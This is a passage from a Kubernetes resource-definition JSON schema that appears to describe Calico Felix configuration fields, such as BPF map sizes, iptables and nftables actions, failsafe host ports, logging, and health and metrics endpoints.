1s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"bpfL3IfacePattern":{"description":"BPFL3IfacePattern is a regular expression that allows to list tunnel devices like wireguard or vxlan (i.e., L3 devices)\nin addition to BPFDataIfacePattern. That is, tunnel interfaces not created by Calico, that Calico workload traffic flows\nover as well as any interfaces that handle incoming traffic to nodeports and services from outside the cluster.","type":"string"},"bpfLogFilters":{"additionalProperties":{"type":"string"},"description":"BPFLogFilters is a map of key=values where the value is\na pcap filter expression and the key is an interface name with 'all'\ndenoting all interfaces, 'weps' all workload endpoints and 'heps' all host\nendpoints.\n\nWhen specified as an env var, it accepts a comma-separated list of\nkey=values.\n[Default: unset - means all debug logs are emitted]","type":"object"},"bpfLogLevel":{"description":"BPFLogLevel controls the log level of the BPF programs when in BPF dataplane mode.  One of \"Off\", \"Info\", or\n\"Debug\".  The logs are emitted to the BPF trace pipe, accessible with the command `tc exec bpf debug`.\n[Default: Off].","pattern":"^(?i)(Off|Info|Debug)?$","type":"string"},"bpfMapSizeConntrack":{"description":"BPFMapSizeConntrack sets the size for the conntrack map.  This map must be large enough to hold\nan entry for each active connection.  Warning: changing the size of the conntrack map can cause disruption.","type":"integer"},"bpfMapSizeConntrackCleanupQueue":{"description":"BPFMapSizeConntrackCleanupQueue sets the size for the map used to hold NAT conntrack entries that are queued\nfor cleanup.  This should be big enough to hold all the NAT entries that expire within one cleanup interval.","minimum":1,"type":"integer"},"bpfMapSizeConntrackScaling":{"description":"BPFMapSizeConntrackScaling controls whether and how we scale the conntrack map size depending\non its usage. 'Disabled' make the size stay at the default or whatever is set by\nBPFMapSizeConntrack*. 'DoubleIfFull' doubles the size when the map is pretty much full even\nafter cleanups. [Default: DoubleIfFull]","pattern":"^(?i)(Disabled|DoubleIfFull)?$","type":"string"},"bpfMapSizeIPSets":{"description":"BPFMapSizeIPSets sets the size for ipsets map.  The IP sets map must be large enough to hold an entry\nfor each endpoint matched by every selector in the source/destination matches in network policy.  Selectors\nsuch as \"all()\" can result in large numbers of entries (one entry per endpoint in that case).","type":"integer"},"bpfMapSizeIfState":{"description":"BPFMapSizeIfState sets the size for ifstate map.  The ifstate map must be large enough to hold an entry\nfor each device (host + workloads) on a host.","type":"integer"},"bpfMapSizeNATAffinity":{"description":"BPFMapSizeNATAffinity sets the size of the BPF map that stores the affinity of a connection (for services that\nenable that feature.","type":"integer"},"bpfMapSizeNATBackend":{"description":"BPFMapSizeNATBackend sets the size for NAT back end map.\nThis is the total number of endpoints. This is mostly\nmore than the size of the number of services.","type":"integer"},"bpfMapSizeNATFrontend":{"description":"BPFMapSizeNATFrontend sets the size for NAT front end map.\nFrontendMap should be large enough to hold an entry for each nodeport,\nexternal IP and each port in each service.","type":"integer"},"bpfMapSizePerCpuConntrack":{"description":"BPFMapSizePerCPUConntrack determines the size of conntrack map based on the number of CPUs. If set to a\nnon-zero value, overrides BPFMapSizeConntrack with `BPFMapSizePerCPUConntrack * (Number of CPUs)`.\nThis map must be large enough to hold an entry for each active connection.  Warning: changing the size of the\nconntrack map can cause disruption.","type":"integer"},"bpfMapSizeRoute":{"description":"BPFMapSizeRoute sets the size for the routes map.  The routes map should be large enough\nto hold one entry per workload and a handful of entries per host (enough to cover its own IPs and\ntunnel IPs).","type":"integer"},"bpfPSNATPorts":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"BPFPSNATPorts sets the range from which we randomly pick a port if there is a source port\ncollision. This should be within the ephemeral range as defined by RFC 6056 (1024–65535) and\npreferably outside the  ephemeral ranges used by common operating systems. Linux uses\n32768–60999, while others mostly use the IANA defined range 49152–65535. It is not necessarily\na problem if this range overlaps with the operating systems. Both ends of the range are\ninclusive. [Default: 20000:29999]","pattern":"^.*","x-kubernetes-int-or-string":true},"bpfPolicyDebugEnabled":{"description":"BPFPolicyDebugEnabled when true, Felix records detailed information\nabout the BPF policy programs, which can be examined with the calico-bpf command-line tool.","type":"boolean"},"bpfProfiling":{"description":"BPFProfiling controls profiling of BPF programs. At the monent, it can be\nDisabled or Enabled. [Default: Disabled]","enum":["Enabled","Disabled"],"type":"string"},"bpfRedirectToPeer":{"description":"BPFRedirectToPeer controls which whether it is allowed to forward straight to the\npeer side of the workload devices. It is allowed for any host L2 devices by default\n(L2Only), but it breaks TCP dump on the host side of workload device as it bypasses\nit on ingress. Value of Enabled also allows redirection from L3 host devices like\nIPIP tunnel or Wireguard directly to the peer side of the workload's device. This\nmakes redirection faster, however, it breaks tools like tcpdump on the peer side.\nUse Enabled with caution. [Default: L2Only]","enum":["Enabled","Disabled","L2Only"],"type":"string"},"cgroupV2Path":{"description":"CgroupV2Path overrides the default location where to find the cgroup hierarchy.","type":"string"},"chainInsertMode":{"description":"ChainInsertMode controls whether Felix hooks the kernel's top-level iptables chains by inserting a rule\nat the top of the chain or by appending a rule at the bottom. insert is the safe default since it prevents\nCalico's rules from being bypassed. If you switch to append mode, be sure that the other rules in the chains\nsignal acceptance by falling through to the Calico rules, otherwise the Calico policy will be bypassed.\n[Default: insert]","pattern":"^(?i)(Insert|Append)?$","type":"string"},"dataplaneDriver":{"description":"DataplaneDriver filename of the external dataplane driver to use.  Only used if UseInternalDataplaneDriver\nis set to false.","type":"string"},"dataplaneWatchdogTimeout":{"description":"DataplaneWatchdogTimeout is the readiness/liveness timeout used for Felix's (internal) dataplane driver.\nDeprecated: replaced by the generic HealthTimeoutOverrides.","type":"string"},"debugDisableLogDropping":{"description":"DebugDisableLogDropping disables the dropping of log messages when the log buffer is full.  This can\nsignificantly impact performance if log write-out is a bottleneck. [Default: false]","type":"boolean"},"debugHost":{"description":"DebugHost is the host IP or hostname to bind the debug port to.  Only used\nif DebugPort is set. [Default:localhost]","type":"string"},"debugMemoryProfilePath":{"description":"DebugMemoryProfilePath is the path to write the memory profile to when triggered by signal.","type":"string"},"debugPort":{"description":"DebugPort if set, enables Felix's debug HTTP port, which allows memory and CPU profiles\nto be retrieved.  The debug port is not secure, it should not be exposed to the internet.","type":"integer"},"debugSimulateCalcGraphHangAfter":{"description":"DebugSimulateCalcGraphHangAfter is used to simulate a hang in the calculation graph after the specified duration.\nThis is useful in tests of the watchdog system only!","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"debugSimulateDataplaneApplyDelay":{"description":"DebugSimulateDataplaneApplyDelay adds an artificial delay to every dataplane operation.  This is useful for\nsimulating a heavily loaded system for test purposes only.","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"debugSimulateDataplaneHangAfter":{"description":"DebugSimulateDataplaneHangAfter is used to simulate a hang in the dataplane after the specified duration.\nThis is useful in tests of the watchdog system only!","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"defaultEndpointToHostAction":{"description":"DefaultEndpointToHostAction controls what happens to traffic that goes from a workload endpoint to the host\nitself (after the endpoint's egress policy is applied). By default, Calico blocks traffic from workload\nendpoints to the host itself with an iptables \"DROP\" action. If you want to allow some or all traffic from\nendpoint to host, set this parameter to RETURN or ACCEPT. Use RETURN if you have your own rules in the iptables\n\"INPUT\" chain; Calico will insert its rules at the top of that chain, then \"RETURN\" packets to the \"INPUT\" chain\nonce it has completed processing workload endpoint egress policy. Use ACCEPT to unconditionally accept packets\nfrom workloads after processing workload endpoint egress policy. [Default: Drop]","pattern":"^(?i)(Drop|Accept|Return)?$","type":"string"},"deviceRouteProtocol":{"description":"DeviceRouteProtocol controls the protocol to set on routes programmed by Felix. The protocol is an 8-bit label\nused to identify the owner of the route.","type":"integer"},"deviceRouteSourceAddress":{"description":"DeviceRouteSourceAddress IPv4 address to set as the source hint for routes programmed by Felix. When not set\nthe source address for local traffic from host to workload will be determined by the kernel.","type":"string"},"deviceRouteSourceAddressIPv6":{"description":"DeviceRouteSourceAddressIPv6 IPv6 address to set as the source hint for routes programmed by Felix. When not set\nthe source address for local traffic from host to workload will be determined by the kernel.","type":"string"},"disableConntrackInvalidCheck":{"description":"DisableConntrackInvalidCheck disables the check for invalid connections in conntrack. While the conntrack\ninvalid check helps to detect malicious traffic, it can also cause issues with certain multi-NIC scenarios.","type":"boolean"},"endpointReportingDelay":{"description":"EndpointReportingDelay is the delay before Felix reports endpoint status to the datastore. This is only used\nby the OpenStack integration. [Default: 1s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"endpointReportingEnabled":{"description":"EndpointReportingEnabled controls whether Felix reports endpoint status to the datastore. This is only used\nby the OpenStack integration. [Default: false]","type":"boolean"},"endpointStatusPathPrefix":{"description":"EndpointStatusPathPrefix is the path to the directory where endpoint status will be written. Endpoint status\nfile reporting is disabled if field is left empty.\n\nChosen directory should match the directory used by the CNI plugin for PodStartupDelay.\n[Default: /var/run/calico]","type":"string"},"externalNodesList":{"description":"ExternalNodesCIDRList is a list of CIDR's of external, non-Calico nodes from which VXLAN/IPIP overlay traffic\nwill be allowed.  By default, external tunneled traffic is blocked to reduce attack surface.","items":{"type":"string"},"type":"array"},"failsafeInboundHostPorts":{"description":"FailsafeInboundHostPorts is a list of ProtoPort struct objects including UDP/TCP/SCTP ports and CIDRs that Felix will\nallow incoming traffic to host endpoints on irrespective of the security policy. This is useful to avoid accidentally\ncutting off a host with incorrect configuration. For backwards compatibility, if the protocol is not specified,\nit defaults to \"tcp\". If a CIDR is not specified, it will allow traffic from all addresses. To disable all inbound host ports,\nuse the value \"[]\". The default value allows ssh access, DHCP, BGP, etcd and the Kubernetes API.\n[Default: tcp:22, udp:68, tcp:179, tcp:2379, tcp:2380, tcp:5473, tcp:6443, tcp:6666, tcp:6667 ]","items":{"description":"ProtoPort is combination of protocol, port, and CIDR. Protocol and port must be specified.","properties":{"net":{"type":"string"},"port":{"type":"integer"},"protocol":{"type":"string"}},"required":["port"],"type":"object"},"type":"array"},"failsafeOutboundHostPorts":{"description":"FailsafeOutboundHostPorts is a list of PortProto struct objects including UDP/TCP/SCTP ports and CIDRs that Felix\nwill allow outgoing traffic from host endpoints to irrespective of the security policy. This is useful to avoid accidentally\ncutting off a host with incorrect configuration. For backwards compatibility, if the protocol is not specified, it defaults\nto \"tcp\". If a CIDR is not specified, it will allow traffic from all addresses. To disable all outbound host ports,\nuse the value \"[]\". The default value opens etcd's standard ports to ensure that Felix does not get cut off from etcd\nas well as allowing DHCP, DNS, BGP and the Kubernetes API.\n[Default: udp:53, udp:67, tcp:179, tcp:2379, tcp:2380, tcp:5473, tcp:6443, tcp:6666, tcp:6667 ]","items":{"description":"ProtoPort is combination of protocol, port, and CIDR. Protocol and port must be specified.","properties":{"net":{"type":"string"},"port":{"type":"integer"},"protocol":{"type":"string"}},"required":["port"],"type":"object"},"type":"array"},"featureDetectOverride":{"description":"FeatureDetectOverride is used to override feature detection based on auto-detected platform\ncapabilities.  Values are specified in a comma separated list with no spaces, example;\n\"SNATFullyRandom=true,MASQFullyRandom=false,RestoreSupportsLock=\". A value of \"true\" or \"false\" will\nforce enable/disable feature, empty or omitted values fall back to auto-detection.","pattern":"^([a-zA-Z0-9-_]+=(true|false|),)*([a-zA-Z0-9-_]+=(true|false|))?$","type":"string"},"featureGates":{"description":"FeatureGates is used to enable or disable tech-preview Calico features.\nValues are specified in a comma separated list with no spaces, example;\n\"BPFConnectTimeLoadBalancingWorkaround=enabled,XyZ=false\". This is\nused to enable features that are not fully production ready.","pattern":"^([a-zA-Z0-9-_]+=([^=]+),)*([a-zA-Z0-9-_]+=([^=]+))?$","type":"string"},"floatingIPs":{"description":"FloatingIPs configures whether or not Felix will program non-OpenStack floating IP addresses.  (OpenStack-derived\nfloating IPs are always programmed, regardless of this setting.)","enum":["Enabled","Disabled"],"type":"string"},"flowLogsCollectorDebugTrace":{"description":"When FlowLogsCollectorDebugTrace is set to true, enables the logs in the collector to be\nprinted in their entirety.","type":"boolean"},"flowLogsFlushInterval":{"description":"FlowLogsFlushInterval configures the interval at which Felix exports flow logs.","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"flowLogsGoldmaneServer":{"description":"FlowLogGoldmaneServer is the flow server endpoint to which flow data should be published.","type":"string"},"flowLogsLocalReporter":{"description":"FlowLogsLocalReporter configures local unix socket for reporting flow data from each node. [Default: Disabled]","enum":["Disabled","Enabled"],"type":"string"},"flowLogsPolicyEvaluationMode":{"description":"Continuous - Felix evaluates active flows on a regular basis to determine the rule\ntraces in the flow logs. Any policy updates that impact a flow will be reflected in the\npending_policies field, offering a near-real-time view of policy changes across flows.\nNone - Felix stops evaluating pending traces.\n[Default: Continuous]","enum":["None","Continuous"],"type":"string"},"genericXDPEnabled":{"description":"GenericXDPEnabled enables Generic XDP so network cards that don't support XDP offload or driver\nmodes can use XDP. This is not recommended since it doesn't provide better performance than\niptables. [Default: false]","type":"boolean"},"goGCThreshold":{"description":"GoGCThreshold Sets the Go runtime's garbage collection threshold.  I.e. the percentage that the heap is\nallowed to grow before garbage collection is triggered.  In general, doubling the value halves the CPU time\nspent doing GC, but it also doubles peak GC memory overhead.  A special value of -1 can be used\nto disable GC entirely; this should only be used in conjunction with the GoMemoryLimitMB setting.\n\nThis setting is overridden by the GOGC environment variable.\n\n[Default: 40]","type":"integer"},"goMaxProcs":{"description":"GoMaxProcs sets the maximum number of CPUs that the Go runtime will use concurrently.  A value of -1 means\n\"use the system default\"; typically the number of real CPUs on the system.\n\nthis setting is overridden by the GOMAXPROCS environment variable.\n\n[Default: -1]","type":"integer"},"goMemoryLimitMB":{"description":"GoMemoryLimitMB sets a (soft) memory limit for the Go runtime in MB.  The Go runtime will try to keep its memory\nusage under the limit by triggering GC as needed.  To avoid thrashing, it will exceed the limit if GC starts to\ntake more than 50% of the process's CPU time.  A value of -1 disables the memory limit.\n\nNote that the memory limit, if used, must be considerably less than any hard resource limit set at the container\nor pod level.  This is because felix is not the only process that must run in the container or pod.\n\nThis setting is overridden by the GOMEMLIMIT environment variable.\n\n[Default: -1]","type":"integer"},"healthEnabled":{"description":"HealthEnabled if set to true, enables Felix's health port, which provides readiness and liveness endpoints.\n[Default: false]","type":"boolean"},"healthHost":{"description":"HealthHost is the host that the health server should bind to. [Default: localhost]","type":"string"},"healthPort":{"description":"HealthPort is the TCP port that the health server should bind to. [Default: 9099]","type":"integer"},"healthTimeoutOverrides":{"description":"HealthTimeoutOverrides allows the internal watchdog timeouts of individual subcomponents to be\noverridden.  This is useful for working around \"false positive\" liveness timeouts that can occur\nin particularly stressful workloads or if CPU is constrained.  For a list of active\nsubcomponents, see Felix's logs.","items":{"properties":{"name":{"type":"string"},"timeout":{"type":"string"}},"required":["name","timeout"],"type":"object"},"type":"array"},"interfaceExclude":{"description":"InterfaceExclude A comma-separated list of interface names that should be excluded when Felix is resolving\nhost endpoints. The default value ensures that Felix ignores Kubernetes' internal `kube-ipvs0` device. If you\nwant to exclude multiple interface names using a single value, the list supports regular expressions. For\nregular expressions you must wrap the value with `/`. For example having values `/^kube/,veth1` will exclude\nall interfaces that begin with `kube` and also the interface `veth1`. [Default: kube-ipvs0]","type":"string"},"interfacePrefix":{"description":"InterfacePrefix is the interface name prefix that identifies workload endpoints and so distinguishes\nthem from host endpoint interfaces. Note: in environments other than bare metal, the orchestrators\nconfigure this appropriately. For example our Kubernetes and Docker integrations set the 'cali' value,\nand our OpenStack integration sets the 'tap' value. [Default: cali]","type":"string"},"interfaceRefreshInterval":{"description":"InterfaceRefreshInterval is the period at which Felix rescans local interfaces to verify their state.\nThe rescan can be disabled by setting the interval to 0.","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"ipForwarding":{"description":"IPForwarding controls whether Felix sets the host sysctls to enable IP forwarding.  IP forwarding is required\nwhen using Calico for workload networking.  This should be disabled only on hosts where Calico is used solely for\nhost protection. In BPF mode, due to a kernel interaction, either IPForwarding must be enabled or BPFEnforceRPF\nmust be disabled. [Default: Enabled]","enum":["Enabled","Disabled"],"type":"string"},"ipipEnabled":{"description":"IPIPEnabled overrides whether Felix should configure an IPIP interface on the host. Optional as Felix\ndetermines this based on the existing IP pools. [Default: nil (unset)]","type":"boolean"},"ipipMTU":{"description":"IPIPMTU controls the MTU to set on the IPIP tunnel device.  Optional as Felix auto-detects the MTU based on the\nMTU of the host's interfaces. [Default: 0 (auto-detect)]","type":"integer"},"ipsetsRefreshInterval":{"description":"IpsetsRefreshInterval controls the period at which Felix re-checks all IP sets to look for discrepancies.\nSet to 0 to disable the periodic refresh. [Default: 90s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"iptablesBackend":{"description":"IptablesBackend controls which backend of iptables will be used. The default is `Auto`.\n\nWarning: changing this on a running system can leave \"orphaned\" rules in the \"other\" backend. These\nshould be cleaned up to avoid confusing interactions.","pattern":"^(?i)(Auto|Legacy|NFT)?$","type":"string"},"iptablesFilterAllowAction":{"description":"IptablesFilterAllowAction controls what happens to traffic that is accepted by a Felix policy chain in the\niptables filter table (which is used for \"normal\" policy). The default will immediately `Accept` the traffic. Use\n`Return` to send the traffic back up to the system chains for further processing.","pattern":"^(?i)(Accept|Return)?$","type":"string"},"iptablesFilterDenyAction":{"description":"IptablesFilterDenyAction controls what happens to traffic that is denied by network policy. By default Calico blocks traffic\nwith an iptables \"DROP\" action. If you want to use \"REJECT\" action instead you can configure it in here.","pattern":"^(?i)(Drop|Reject)?$","type":"string"},"iptablesLockFilePath":{"description":"IptablesLockFilePath is the location of the iptables lock file. You may need to change this\nif the lock file is not in its standard location (for example if you have mapped it into Felix's\ncontainer at a different path). [Default: /run/xtables.lock]","type":"string"},"iptablesLockProbeInterval":{"description":"IptablesLockProbeInterval when IptablesLockTimeout is enabled: the time that Felix will wait between\nattempts to acquire the iptables lock if it is not available. Lower values make Felix more\nresponsive when the lock is contended, but use more CPU. [Default: 50ms]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"iptablesLockTimeout":{"description":"IptablesLockTimeout is the time that Felix itself will wait for the iptables lock (rather than delegating the\nlock handling to the `iptables` command).\n\nDeprecated: `iptables-restore` v1.8+ always takes the lock, so enabling this feature results in deadlock.\n[Default: 0s disabled]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"iptablesMangleAllowAction":{"description":"IptablesMangleAllowAction controls what happens to traffic that is accepted by a Felix policy chain in the\niptables mangle table (which is used for \"pre-DNAT\" policy). The default will immediately `Accept` the traffic.\nUse `Return` to send the traffic back up to the system chains for further processing.","pattern":"^(?i)(Accept|Return)?$","type":"string"},"iptablesMarkMask":{"description":"IptablesMarkMask is the mask that Felix selects its IPTables Mark bits from. Should be a 32 bit hexadecimal\nnumber with at least 8 bits set, none of which clash with any other mark bits in use on the system.\n[Default: 0xffff0000]","format":"int32","type":"integer"},"iptablesNATOutgoingInterfaceFilter":{"description":"This parameter can be used to limit the host interfaces on which Calico will apply SNAT to traffic leaving a\nCalico IPAM pool with \"NAT outgoing\" enabled. This can be useful if you have a main data interface, where\ntraffic should be SNATted and a secondary device (such as the docker bridge) which is local to the host and\ndoesn't require SNAT. This parameter uses the iptables interface matching syntax, which allows + as a\nwildcard. Most users will not need to set this. Example: if your data interfaces are eth0 and eth1 and you\nwant to exclude the docker bridge, you could set this to eth+","type":"string"},"iptablesPostWriteCheckInterval":{"description":"IptablesPostWriteCheckInterval is the period after Felix has done a write\nto the dataplane that it schedules an extra read back in order to check the write was not\nclobbered by another process. This should only occur if another application on the system\ndoesn't respect the iptables lock. [Default: 1s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"iptablesRefreshInterval":{"description":"IptablesRefreshInterval is the period at which Felix re-checks the IP sets\nin the dataplane to ensure that no other process has accidentally broken Calico's rules.\nSet to 0 to disable IP sets refresh. Note: the default for this value is lower than the\nother refresh intervals as a workaround for a Linux kernel bug that was fixed in kernel\nversion 4.11. If you are using v4.11 or greater you may want to set this to, a higher value\nto reduce Felix CPU usage. [Default: 10s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"ipv6Support":{"description":"IPv6Support controls whether Felix enables support for IPv6 (if supported by the in-use dataplane).","type":"boolean"},"kubeNodePortRanges":{"description":"KubeNodePortRanges holds list of port ranges used for service node ports. Only used if felix detects kube-proxy running in ipvs mode.\nFelix uses these ranges to separate host and workload traffic. [Default: 30000:32767].","items":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^.*","x-kubernetes-int-or-string":true},"type":"array"},"logDebugFilenameRegex":{"description":"LogDebugFilenameRegex controls which source code files have their Debug log output included in the logs.\nOnly logs from files with names that match the given regular expression are included.  The filter only applies\nto Debug level logs.","type":"string"},"logFilePath":{"description":"LogFilePath is the full path to the Felix log. Set to none to disable file logging. [Default: /var/log/calico/felix.log]","type":"string"},"logPrefix":{"description":"LogPrefix is the log prefix that Felix uses when rendering LOG rules. [Default: calico-packet]","type":"string"},"logSeverityFile":{"description":"LogSeverityFile is the log severity above which logs are sent to the log file. [Default: Info]","pattern":"^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$","type":"string"},"logSeverityScreen":{"description":"LogSeverityScreen is the log severity above which logs are sent to the stdout. [Default: Info]","pattern":"^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$","type":"string"},"logSeveritySys":{"description":"LogSeveritySys is the log severity above which logs are sent to the syslog. Set to None for no logging to syslog.\n[Default: Info]","pattern":"^(?i)(Trace|Debug|Info|Warning|Error|Fatal)?$","type":"string"},"maxIpsetSize":{"description":"MaxIpsetSize is the maximum number of IP addresses that can be stored in an IP set. Not applicable\nif using the nftables backend.","type":"integer"},"metadataAddr":{"description":"MetadataAddr is the IP address or domain name of the server that can answer VM queries for\ncloud-init metadata. In OpenStack, this corresponds to the machine running nova-api (or in\nUbuntu, nova-api-metadata). A value of none (case-insensitive) means that Felix should not\nset up any NAT rule for the metadata path. [Default: 127.0.0.1]","type":"string"},"metadataPort":{"description":"MetadataPort is the port of the metadata server. This, combined with global.MetadataAddr (if\nnot 'None'), is used to set up a NAT rule, from 169.254.169.254:80 to MetadataAddr:MetadataPort.\nIn most cases this should not need to be changed [Default: 8775].","type":"integer"},"mtuIfacePattern":{"description":"MTUIfacePattern is a regular expression that controls which interfaces Felix should scan in order\nto calculate the host's MTU.\nThis should not match workload interfaces (usually named cali...).","type":"string"},"natOutgoingAddress":{"description":"NATOutgoingAddress specifies an address to use when performing source NAT for traffic in a natOutgoing pool that\nis leaving the network. By default the address used is an address on the interface the traffic is leaving on\n(i.e. it uses the iptables MASQUERADE target).","type":"string"},"natPortRange":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"NATPortRange specifies the range of ports that is used for port mapping when doing outgoing NAT. When unset the default behavior of the\nnetwork stack is used.","pattern":"^.*","x-kubernetes-int-or-string":true},"netlinkTimeout":{"description":"NetlinkTimeout is the timeout when talking to the kernel over the netlink protocol, used for programming\nroutes, rules, and other kernel objects. [Default: 10s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"nftablesFilterAllowAction":{"description":"NftablesFilterAllowAction controls the nftables action that Felix uses to represent the \"allow\" policy verdict\nin the filter table. The default is to `ACCEPT` the traffic, which is a terminal action.  Alternatively,\n`RETURN` can be used to return the traffic back to the top-level chain for further processing by your rules.","pattern":"^(?i)(Accept|Return)?$","type":"string"},"nftablesFilterDenyAction":{"description":"NftablesFilterDenyAction controls what happens to traffic that is denied by network policy. By default, Calico\nblocks traffic with a \"drop\" action. If you want to use a \"reject\" action instead you can configure it here.","pattern":"^(?i)(Drop|Reject)?$","type":"string"},"nftablesMangleAllowAction":{"description":"NftablesMangleAllowAction controls the nftables action that Felix uses to represent the \"allow\" policy verdict\nin the mangle table. The default is to `ACCEPT` the traffic, which is a terminal action.  Alternatively,\n`RETURN` can be used to return the traffic back to the top-level chain for further processing by your rules.","pattern":"^(?i)(Accept|Return)?$","type":"string"},"nftablesMarkMask":{"description":"NftablesMarkMask is the mask that Felix selects its nftables Mark bits from. Should be a 32 bit hexadecimal\nnumber with at least 8 bits set, none of which clash with any other mark bits in use on the system.\n[Default: 0xffff0000]","format":"int32","type":"integer"},"nftablesMode":{"description":"NFTablesMode configures nftables support in Felix. [Default: Disabled]","enum":["Disabled","Enabled","Auto"],"type":"string"},"nftablesRefreshInterval":{"description":"NftablesRefreshInterval controls the interval at which Felix periodically refreshes the nftables rules. [Default: 90s]","type":"string"},"openstackRegion":{"description":"OpenstackRegion is the name of the region that a particular Felix belongs to. In a multi-region\nCalico/OpenStack deployment, this must be configured somehow for each Felix (here in the datamodel,\nor in felix.cfg or the environment on each compute node), and must match the [calico]\nopenstack_region value configured in neutron.conf on each node. [Default: Empty]","type":"string"},"policySyncPathPrefix":{"description":"PolicySyncPathPrefix is used to by Felix to communicate policy changes to external services,\nlike Application layer policy. [Default: Empty]","type":"string"},"prometheusGoMetricsEnabled":{"description":"PrometheusGoMetricsEnabled disables Go runtime metrics collection, which the Prometheus client does by default, when\nset to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]","type":"boolean"},"prometheusMetricsEnabled":{"description":"PrometheusMetricsEnabled enables the Prometheus metrics server in Felix if set to true. [Default: false]","type":"boolean"},"prometheusMetricsHost":{"description":"PrometheusMetricsHost is the host that the Prometheus metrics server should bind to. [Default: empty]","type":"string"},"prometheusMetricsPort":{"description":"PrometheusMetricsPort is the TCP port that the Prometheus metrics server should bind to. [Default: 9091]","type":"integer"},"prometheusProcessMetricsEnabled":{"description":"PrometheusProcessMetricsEnabled disables process metrics collection, which the Prometheus client does by default, when\nset to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]","type":"boolean"},"prometheusWireGuardMetricsEnabled":{"description":"PrometheusWireGuardMetricsEnabled disables wireguard metrics collection, which the Prometheus client does by default, when\nset to false. This reduces the number of metrics reported, reducing Prometheus load. [Default: true]","type":"boolean"},"removeExternalRoutes":{"description":"RemoveExternalRoutes Controls whether Felix will remove unexpected routes to workload interfaces. Felix will\nalways clean up expected routes that use the configured DeviceRouteProtocol.  To add your own routes, you must\nuse a distinct protocol (in addition to setting this field to false).","type":"boolean"},"reportingInterval":{"description":"ReportingInterval is the interval at which Felix reports its status into the datastore or 0 to disable.\nMust be non-zero in OpenStack deployments. [Default: 30s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"reportingTTL":{"description":"ReportingTTL is the time-to-live setting for process-wide status reports. [Default: 90s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"routeRefreshInterval":{"description":"RouteRefreshInterval is the period at which Felix re-checks the routes\nin the dataplane to ensure that no other process has accidentally broken Calico's rules.\nSet to 0 to disable route refresh. [Default: 90s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"routeSource":{"description":"RouteSource configures where Felix gets its routing information.\n- WorkloadIPs: use workload endpoints to construct routes.\n- CalicoIPAM: the default - use IPAM data to construct routes.","pattern":"^(?i)(WorkloadIPs|CalicoIPAM)?$","type":"string"},"routeSyncDisabled":{"description":"RouteSyncDisabled will disable all operations performed on the route table. Set to true to\nrun in network-policy mode only.","type":"boolean"},"routeTableRange":{"description":"Deprecated in favor of RouteTableRanges.\nCalico programs additional Linux route tables for various purposes.\nRouteTableRange specifies the indices of the route tables that Calico should use.","properties":{"max":{"type":"integer"},"min":{"type":"integer"}},"required":["max","min"],"type":"object"},"routeTableRanges":{"description":"Calico programs additional Linux route tables for various purposes.\nRouteTableRanges specifies a set of table index ranges that Calico should use.\nDeprecates`RouteTableRange`, overrides `RouteTableRange`.","items":{"properties":{"max":{"type":"integer"},"min":{"type":"integer"}},"required":["max","min"],"type":"object"},"type":"array"},"serviceLoopPrevention":{"description":"When service IP advertisement is enabled, prevent routing loops to service IPs that are\nnot in use, by dropping or rejecting packets that do not get DNAT'd by kube-proxy.\nUnless set to \"Disabled\", in which case such routing loops continue to be allowed.\n[Default: Drop]","pattern":"^(?i)(Drop|Reject|Disabled)?$","type":"string"},"sidecarAccelerationEnabled":{"description":"SidecarAccelerationEnabled enables experimental sidecar acceleration [Default: false]","type":"boolean"},"usageReportingEnabled":{"description":"UsageReportingEnabled reports anonymous Calico version number and cluster size to projectcalico.org. Logs warnings returned by the usage\nserver. For example, if a significant security vulnerability has been discovered in the version of Calico being used. [Default: true]","type":"boolean"},"usageReportingInitialDelay":{"description":"UsageReportingInitialDelay controls the minimum delay before Felix makes a report. [Default: 300s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"usageReportingInterval":{"description":"UsageReportingInterval controls the interval at which Felix makes reports. [Default: 86400s]","pattern":"^([0-9]+(\\\\.[0-9]+)?(ms|s|m|h))*$","type":"string"},"useInternalDataplaneDriver":{"description":"UseInternalDataplaneDriver, if true, Felix will use its internal dataplane programming logic.  If false, it\nwill launch an external dataplane driver and communicate with it over protobuf.","type":"boolean"},"vxlanEnabled":{"description":"VXLANEnabled overrides whether Felix should create the VXLAN tunnel device for IPv4 VXLAN networking.\nOptional as Felix determines this based on the existing IP pools. [Default: nil (unset)]","type":"boolean"},"vxlanMTU":{"description":"VXLANMTU is the MTU to set on the IPv4 VXLAN tunnel device.  Optional as Felix auto-detects the MTU based on the\nMTU of the host's interfaces. [Default: 0 (auto-detect)]","type":"integer"},"vxlanMTUV6":{"description":"VXLANMTUV6 is the MTU to set on the IPv6 VXLAN tunnel device. Optional as Felix auto-detects the MTU based on the\nMTU of the host's interfaces. [Default: 0 (auto-detect)]","type":"integer"},"vxlanPort":{"description":"VXLANPort is the 